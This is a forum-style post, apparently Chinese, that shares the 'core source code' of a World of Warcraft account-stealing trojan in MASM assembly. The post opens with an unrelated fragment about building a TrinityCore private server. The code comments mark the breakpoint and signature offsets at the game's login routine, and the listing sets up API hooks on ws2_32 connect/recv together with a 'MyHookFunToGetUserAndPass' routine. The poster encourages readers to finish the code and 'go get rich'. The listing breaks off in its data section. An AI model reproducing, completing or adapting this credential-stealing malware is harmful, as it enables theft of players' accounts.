欧服WOW木马核心源代码,游戏版本v2.4.3.8606

利用TrinityCore 框架的搭建魔兽世界私服 TrinityCore 框架的搭建 框架信息 Github页https://github.com/TrinityCore/TrinityCore/releases 官网https://github.com/TrinityCore/TrinityCore/releases 服务器配置 双核心4G,debian 11.1 安装mysql 安装 mysql(版本5.7),据说是因为官网说的那个mariadb安装因为版本问题容易报错 wget [http://repo.mysql.com/mysql-apt-con 阅读详情
 对应游戏版本v2.4.3.8606。这个只是核心代码,而非完整代码,通过调式完全可以写出美服跟欧服的WOW马来,大家发财去吧

Quote:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;
;                Programmed by asm, MSN:asm32@live.cn                          ;
;                  WOWGameMaker For WOW_MF_OF                                  ;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;
;0041DAEA  |.  5E            pop    esi                <-------------特征码位置+12=断点位置
;0041DAEB  |.  33CD          xor    ecx, ebp
;0041DAED  |.  5B            pop    ebx
;0041DAEE  |.  E8 E7CAFEFF  call    0040A5DA
;0041DAF3  |.  8BE5          mov    esp, ebp
;0041DAF5  |.  5D            pop    ebp                <-------------断点位置
;0041DAF6  /.  C2 0400      retn    4                  <-------------ret执行后,游戏会跳转到005B55B4h这里执行。因此在木马里要
;搜索这个地址得特征码从而得到通用得地址,而不是直接采用硬编码 = =。再得到通用得地址后执行 mov eax,hJmpEip/jmp eax即可

;szUserPassRealCode db 5Eh, 33h, 0CDh,5Bh, 0E8h, 0E7h,0CAh,0FEh,0FFh,8Bh,0E5h,5Dh,0C2h, 04h,00h

;005B55B4      8B4D FC      mov    ecx, dword ptr [ebp-4]    <-----------------得到要跳转的地址
;005B55B7      5F            pop    edi
;005B55B8      5E            pop    esi
;005B55B9  |.  33CD          xor    ecx, ebp
;005B55BB  |.  5B            pop    ebx
;005B55BC  |.  E8 1950E5FF  call    0040A5DA
;005B55C1      8BE5          mov    esp, ebp

;szJmpEip db 8Bh,4Dh, 0FCh,5Fh,5Eh,33h,0CDh,5Bh,0E8h, 19h,50h,0E5h,0FFh,8Bh,0E5h
;----------------------------------------------------------------------------------------------------------------
.486
.model flat,stdcall
option casemap:none
include debug.inc
include        windows.inc
include        user32.inc
includelib        user32.lib
include        kernel32.inc
includelib        kernel32.lib
include        advapi32.inc
includelib        advapi32.lib
include        comctl32.inc
includelib        comctl32.lib
include        psapi.inc
includelib        psapi.lib
IncludeLib Masm32.lib
Include Masm32.inc
include    Shlwapi.inc
includelib  Shlwapi.lib
include    shell32.inc
includelib  shell32.lib
include macros.inc
includelib mylib.lib
include        wininet.inc
includelib    wininet.lib
HOOKAPI struct
a  byte 0B8h
PMyapi DWORD 0
d BYTE 0FFh
e BYTE 0E0h
HOOKAPI ends

MODULEINFO struct

lpBaseOfDll dword 0
SizeOfImage dword 0
EntryPoint dword 0

MODULEINFO ends
F_STOP                equ        0002h

;子程序声明

HookApi proto :DWORD ,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
HookApi1 proto :DWORD ,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
HookApiRecv proto :DWORD ,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
WriteApi proto :DWORD ,:DWORD,:DWORD,:DWORD
WriteApi1 proto :DWORD ,:DWORD,:DWORD,:DWORD
MyHookFunToGetUserAndPass proto  :DWORD  ,:DWORD,:DWORD
MyConnect  proto  :DWORD  ,:DWORD,:DWORD;,:DWORD
MyRecv proto  :DWORD  ,:DWORD,:DWORD,:DWORD
GetApi proto  :DWORD,:DWORD
BakDll proto  :DWORD,:DWORD

AntiFileToRun proto c :DWORD
BytePos proto c :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
LoadModuleEx proto c :DWORD
GetModuleImageSize proto c :DWORD
CaleHookPointerWOW proto c
ExtractFileName proto c :DWORD
ExtractFilePath proto c :DWORD

;已初始化数据
.data
hInstance dd 0
WProcess dd 0

Papi1 DWORD ?
Papi2 DWORD ?
Papi3 DWORD ?
WritBak1 HOOKAPI <>
WritBak2 HOOKAPI <>
ApiBak1 db 10 dup(?)
ApiBak2 db 10 dup(?)
DllName1  db "ws2_32.dll",0
ApiName1  db "connect",0
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